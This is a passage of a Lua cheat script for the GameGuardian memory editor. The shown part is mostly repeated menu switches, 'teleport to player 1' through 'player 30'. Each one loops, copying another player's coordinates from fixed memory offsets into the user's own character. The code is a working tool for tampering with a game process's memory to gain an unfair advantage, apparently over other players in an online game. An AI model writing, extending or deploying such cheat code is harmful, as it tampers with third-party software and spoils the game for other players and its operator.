gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z1[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x1[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y1[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z1[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家2(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x2=gg.getValues({[1]={address=wj2[1].address+0x24,flags=16,value=nil}}) local y2=gg.getValues({[1]={address=wj2[1].address+0x28,flags=16,value=nil}}) local z2=gg.getValues({[1]={address=wj2[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x2[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y2[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z2[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x2[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y2[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z2[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家3(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x3=gg.getValues({[1]={address=wj3[1].address+0x24,flags=16,value=nil}}) local y3=gg.getValues({[1]={address=wj3[1].address+0x28,flags=16,value=nil}}) local z3=gg.getValues({[1]={address=wj3[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x3[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y3[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z3[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x3[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y3[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z3[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家4(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x4=gg.getValues({[1]={address=wj4[1].address+0x24,flags=16,value=nil}}) local y4=gg.getValues({[1]={address=wj4[1].address+0x28,flags=16,value=nil}}) local z4=gg.getValues({[1]={address=wj4[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x4[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y4[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z4[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x4[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y4[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z4[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家5(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x5=gg.getValues({[1]={address=wj5[1].address+0x24,flags=16,value=nil}}) local y5=gg.getValues({[1]={address=wj5[1].address+0x28,flags=16,value=nil}}) local z5=gg.getValues({[1]={address=wj5[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x5[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y5[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z5[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x5[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y5[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z5[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家6(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x6=gg.getValues({[1]={address=wj6[1].address+0x24,flags=16,value=nil}}) local y6=gg.getValues({[1]={address=wj6[1].address+0x28,flags=16,value=nil}}) local z6=gg.getValues({[1]={address=wj6[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x6[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y6[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z6[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x6[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y6[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z6[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家7(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x7=gg.getValues({[1]={address=wj7[1].address+0x24,flags=16,value=nil}}) local y7=gg.getValues({[1]={address=wj7[1].address+0x28,flags=16,value=nil}}) local z7=gg.getValues({[1]={address=wj7[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x7[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y7[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z7[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x7[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y7[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z7[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家8(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x8=gg.getValues({[1]={address=wj8[1].address+0x24,flags=16,value=nil}}) local y8=gg.getValues({[1]={address=wj8[1].address+0x28,flags=16,value=nil}}) local z8=gg.getValues({[1]={address=wj8[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x8[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y8[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z8[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x8[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y8[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z8[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家9(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x9=gg.getValues({[1]={address=wj9[1].address+0x24,flags=16,value=nil}}) local y9=gg.getValues({[1]={address=wj9[1].address+0x28,flags=16,value=nil}}) local z9=gg.getValues({[1]={address=wj9[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x9[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y9[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z9[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x9[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y9[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z9[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家10(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x10=gg.getValues({[1]={address=wj10[1].address+0x24,flags=16,value=nil}}) local y10=gg.getValues({[1]={address=wj10[1].address+0x28,flags=16,value=nil}}) local z10=gg.getValues({[1]={address=wj10[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x10[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y10[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z10[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x10[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y10[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z10[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家11(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x11=gg.getValues({[1]={address=wj11[1].address+0x24,flags=16,value=nil}}) local y11=gg.getValues({[1]={address=wj11[1].address+0x28,flags=16,value=nil}}) local z11=gg.getValues({[1]={address=wj11[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x11[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y11[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z11[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x11[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y11[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z11[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家12(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x12=gg.getValues({[1]={address=wj12[1].address+0x24,flags=16,value=nil}}) local y12=gg.getValues({[1]={address=wj12[1].address+0x28,flags=16,value=nil}}) local z12=gg.getValues({[1]={address=wj12[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x12[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y12[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z12[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x12[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y12[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z12[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家13(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x13=gg.getValues({[1]={address=wj13[1].address+0x24,flags=16,value=nil}}) local y13=gg.getValues({[1]={address=wj13[1].address+0x28,flags=16,value=nil}}) local z13=gg.getValues({[1]={address=wj13[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x13[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y13[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z13[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x13[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y13[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z13[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家14(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x14=gg.getValues({[1]={address=wj14[1].address+0x24,flags=16,value=nil}}) local y14=gg.getValues({[1]={address=wj14[1].address+0x28,flags=16,value=nil}}) local z14=gg.getValues({[1]={address=wj14[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x14[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y14[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z14[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x14[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y14[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z14[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家15(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x15=gg.getValues({[1]={address=wj15[1].address+0x24,flags=16,value=nil}}) local y15=gg.getValues({[1]={address=wj15[1].address+0x28,flags=16,value=nil}}) local z15=gg.getValues({[1]={address=wj15[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x15[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y15[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z15[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x15[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y15[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z15[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家16(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x16=gg.getValues({[1]={address=wj16[1].address+0x24,flags=16,value=nil}}) local y16=gg.getValues({[1]={address=wj16[1].address+0x28,flags=16,value=nil}}) local z16=gg.getValues({[1]={address=wj16[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x16[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y16[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z16[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x16[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y16[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z16[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家17(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x17=gg.getValues({[1]={address=wj17[1].address+0x24,flags=16,value=nil}}) local y17=gg.getValues({[1]={address=wj17[1].address+0x28,flags=16,value=nil}}) local z17=gg.getValues({[1]={address=wj17[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x17[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y17[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z17[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x17[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y17[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z17[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家18(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x18=gg.getValues({[1]={address=wj18[1].address+0x24,flags=16,value=nil}}) local y18=gg.getValues({[1]={address=wj18[1].address+0x28,flags=16,value=nil}}) local z18=gg.getValues({[1]={address=wj18[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x18[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y18[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z18[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x18[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y18[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z18[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家19(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x19=gg.getValues({[1]={address=wj19[1].address+0x24,flags=16,value=nil}}) local y19=gg.getValues({[1]={address=wj19[1].address+0x28,flags=16,value=nil}}) local z19=gg.getValues({[1]={address=wj19[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x19[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y19[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z19[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x19[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y19[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z19[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家20(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x20=gg.getValues({[1]={address=wj20[1].address+0x24,flags=16,value=nil}}) local y20=gg.getValues({[1]={address=wj20[1].address+0x28,flags=16,value=nil}}) local z20=gg.getValues({[1]={address=wj20[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x20[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y20[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z20[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x20[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y20[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z20[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家21(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x21=gg.getValues({[1]={address=wj21[1].address+0x24,flags=16,value=nil}}) local y21=gg.getValues({[1]={address=wj21[1].address+0x28,flags=16,value=nil}}) local z21=gg.getValues({[1]={address=wj21[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x21[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y21[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z21[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x21[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y21[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z21[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家22(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x22=gg.getValues({[1]={address=wj22[1].address+0x24,flags=16,value=nil}}) local y22=gg.getValues({[1]={address=wj22[1].address+0x28,flags=16,value=nil}}) local z22=gg.getValues({[1]={address=wj22[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x22[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y22[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z22[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x22[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y22[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z22[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家23(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x23=gg.getValues({[1]={address=wj23[1].address+0x24,flags=16,value=nil}}) local y23=gg.getValues({[1]={address=wj23[1].address+0x28,flags=16,value=nil}}) local z23=gg.getValues({[1]={address=wj23[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x23[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y23[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z23[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x23[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y23[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z23[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家24(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x24=gg.getValues({[1]={address=wj24[1].address+0x24,flags=16,value=nil}}) local y24=gg.getValues({[1]={address=wj24[1].address+0x28,flags=16,value=nil}}) local z24=gg.getValues({[1]={address=wj24[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x24[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y24[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z24[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x24[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y24[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z24[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家25(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x25=gg.getValues({[1]={address=wj25[1].address+0x24,flags=16,value=nil}}) local y25=gg.getValues({[1]={address=wj25[1].address+0x28,flags=16,value=nil}}) local z25=gg.getValues({[1]={address=wj25[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x25[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y25[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z25[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x25[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y25[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z25[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家26(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x26=gg.getValues({[1]={address=wj26[1].address+0x24,flags=16,value=nil}}) local y26=gg.getValues({[1]={address=wj26[1].address+0x28,flags=16,value=nil}}) local z26=gg.getValues({[1]={address=wj26[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x26[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y26[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z26[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x26[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y26[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z26[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家27(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x27=gg.getValues({[1]={address=wj27[1].address+0x24,flags=16,value=nil}}) local y27=gg.getValues({[1]={address=wj27[1].address+0x28,flags=16,value=nil}}) local z27=gg.getValues({[1]={address=wj27[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x27[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y27[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z27[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x27[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y27[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z27[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家28(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x28=gg.getValues({[1]={address=wj28[1].address+0x24,flags=16,value=nil}}) local y28=gg.getValues({[1]={address=wj28[1].address+0x28,flags=16,value=nil}}) local z28=gg.getValues({[1]={address=wj28[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x28[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y28[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z28[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x28[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y28[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z28[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家29(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x29=gg.getValues({[1]={address=wj29[1].address+0x24,flags=16,value=nil}}) local y29=gg.getValues({[1]={address=wj29[1].address+0x28,flags=16,value=nil}}) local z29=gg.getValues({[1]={address=wj29[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x29[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y29[1].value}}) gg.setValues({[1]={address=a[1].address+0x2c,flags=16,freeze=false,value=z29[1].value}}) gg.setValues({[1]={address=a[1].address+0xD4,flags=16,freeze=false,value=x29[1].value}}) gg.setValues({[1]={address=a[1].address+0xD8,flags=16,freeze=false,value=y29[1].value}}) gg.setValues({[1]={address=a[1].address+0xDC,flags=16,freeze=false,value=z29[1].value}}) --传送提示 提示("传送成功") end end):start() end, function() fw1=false fw1=false 提示("已停止所有循环传送") end ), changan.switch("传送玩家30(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x30=gg.getValues({[1]={address=wj30[1].address+0x24,flags=16,value=nil}}) local y30=gg.getValues({[1]={address=wj30[1].address+0x28,flags=16,value=nil}}) local z30=gg.getValues({[1]={address=wj30[1].address+0x2C,flags=16,value=nil}}) --开始传送 